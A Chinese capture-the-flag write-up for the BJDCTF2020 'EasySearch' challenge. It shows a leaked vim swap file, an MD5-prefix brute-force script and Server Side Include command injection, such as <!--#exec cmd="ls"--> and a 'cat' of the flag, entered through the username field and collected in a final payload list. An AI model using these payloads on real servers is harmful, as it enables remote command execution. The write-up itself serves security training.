练[BJDCTF2020]EasySearch

2023-10-08 01:20
文章标签 bjdctf2020 easysearch

本文主要是介绍练[BJDCTF2020]EasySearch,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[BJDCTF2020]EasySearch

文章目录

      • [BJDCTF2020]EasySearch
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

​ 目录扫描,index.php.swp文件泄露,代码审计,MD5区块爆破,请求响应包的隐藏信息,.shtml文件RCE漏洞利用

解题思路

  1. 打开题目链接,发现是一个登录界面,尝试使用万能密码登录失败,源码也没找到hint。使用dirsearch也没扫描到什么目录,但看着标题Search应该和dirsearch是有些关联把,尝试一些不常见的备份文件,查看有无文件泄露php- php~,发现存在index.php.swp文件泄露,而且正好就是登录界面的源代码

image-20231002111625422

?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
  1. 通过代码审计发现,用户名只要不为空即可,密码的话需要对输入密码进行MD5加密,只要前六位为6d0bc1即可验证成功,正好还留有爆破脚本。登录成功会有public的目录,会生成一个.shtml文件,文件的内容有一部分就是输入的用户名
if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '<h1>Hello,'.$_POST['username'].'</h1>'}}
  1. 使用MD5碰撞爆破脚本得到密码为2020666 2305004 9162671均可
from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)
  1. 随意登录一个账号,登录成功后并没有发现public的文件地址,访问public目录也无权访问,但是查看响应包数据后发现了文件的url地址.访问文件后,发现和当初代码审计回显的内容差不多,aaaa位置是可控的

image-20231002113000679

image-20231002113057445

  1. 第一次遇到.shtml文件,上网搜索一番发现.shtml文件可以执行任意命令执行漏洞。简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。漏洞利用代码如下

    <!--#exec cmd="命令"-->
    
  2. 所以后续的思路很明显了,之前的代码审计了解到.shtml文件内的内容是可控的,所以只需要通过username输入框输入命令执行代码再次访问.shtml即可查看到回显的命令<!--#exec cmd="ls"-->

image-20231002113707995

image-20231002113710594

image-20231002113715278

  1. 成功进行了命令执行,测试发现,要想执行命令需要重新登录,将命令写入到新产生的的.shtml文件中,访问即可看到回显结果。如同上面的步骤,发现flag文件存放在网站根目录下,cat查看文件内容,直接拿下

image-20231002114437748

image-20231002114440777

image-20231002114429444

关键paylaod

from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)<!--#exec cmd="ls"-->
<!--#exec cmd="ls /"-->
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag....."-->

这篇关于练[BJDCTF2020]EasySearch的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/161754

相关文章

BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示 传入一个参数text,里面的内容要包括I have a dream。 构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议 在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件 根据代码:我们构造payload /?text=data://text/plain,I have a dream&f

[BJDCTF2020]ZJCTF,不过如此 1

涉及:php的伪协议、preg_replace函数的漏洞和正则表达式的运用。 解题步骤 <?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>"

BUUCTF---misc---[BJDCTF2020]纳尼

1、下载附件是一个gif图片,但是图片打不开 2、用winhex分析,看到缺少了文件头 3、将文件头通过ASCII码方式粘贴后,保存,图片恢复了正常 4、是一张动图,一共四张,每张都有base64编码 5、用stegsolve分解图片 6、将得到的图片信息按照顺序拼接后进行base64解码,将得到的信息,用flag替换CTF进行提交 flag{{wang_bao_qi

练习 19 Web [BJDCTF2020]Easy MD5

如果你是第一批做这个题的,这道题一点也不easy 打开在前端代码里面看到,输入框输入的内容实际是’password’ 随意输入内容,查看响应header中的内容有一句SQL代码,可知我们要让password在md5后返回值为true 然后尬住,开搜 MD5碰撞 总结ctf中 MD5 绕过的一些思路 ffifdyop——绕过中一个奇妙的字符串 BJDCTF2020 Easy MD5(详细

BJDCTF2020[encode]

题目:encode,地址:encode 查壳发现时upx壳,使用工具脱壳命令"upx -d ",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64 + 异或 + RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后,先用RC4脚本解密,key=“Flag{This_a_Flag}”,密

[BJDCTF2020]----EzPHP

文章目录 pass-1pass-2pass-3pass-4pass-5pass-6pass-7 查看题目,右键源代码,发现GFXEIM3YFZYGQ4A=,base64解码:1nD3x.php 访问1nD3x.php,代码审计,一步一步分析 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3

INFINI Labs 产品更新 | Easysearch 1.7.1发布

INFINI Labs 产品又更新啦~,包括 Console,Gateway,Agent 1.23.0 和 Easysearch 1.7.1。此次版本重点修复历史遗留 Bug 、网友们提的一些需求等。以下是本次更新的详细说明。 INFINI Console v1.23.0 INFINI Console 是一款非常轻量级的多集群、跨版本的搜索基础设施统一管控平台。通过对流行的搜索引擎基础设施进行

[BJDCTF2020]EzPHP1 --不会编程的崽

有一说一,这题还是有难度的 base32解码url编码绕过$_SERVER换行符绕过preg_match相同参数,post请求覆盖get请求,绕过$_REQUESTphp伪协议利用sha1数组绕过create_function代码注入 Level 1 右键源码里又发现,拿去base32解码即可      <?phphighlight_file(__FILE__);error_r

Twing模板注入 [BJDCTF2020]Cookie is so stable1

打开题目  我们先抓包分析一下 可以输入{{7*7}}处发包试一下 可以看到在cookie处存在ssti模板注入 输入{{7*‘7’}},返回49表示是 Twig 模块 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块 在这里可以看出是Twing模块 我们直接用固定payload就可以得到flag 知识点: 1.

vim恢复.swp [BJDCTF2020]Cookie is so stable1

打开题目 扫描目录得到 关于 .swp 文件 .swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留 在命令行下使用以下命令,可以从指定的交换文件进行恢复: vim -r file.txt.swo 我们把文件拖去kali 用 命令 vi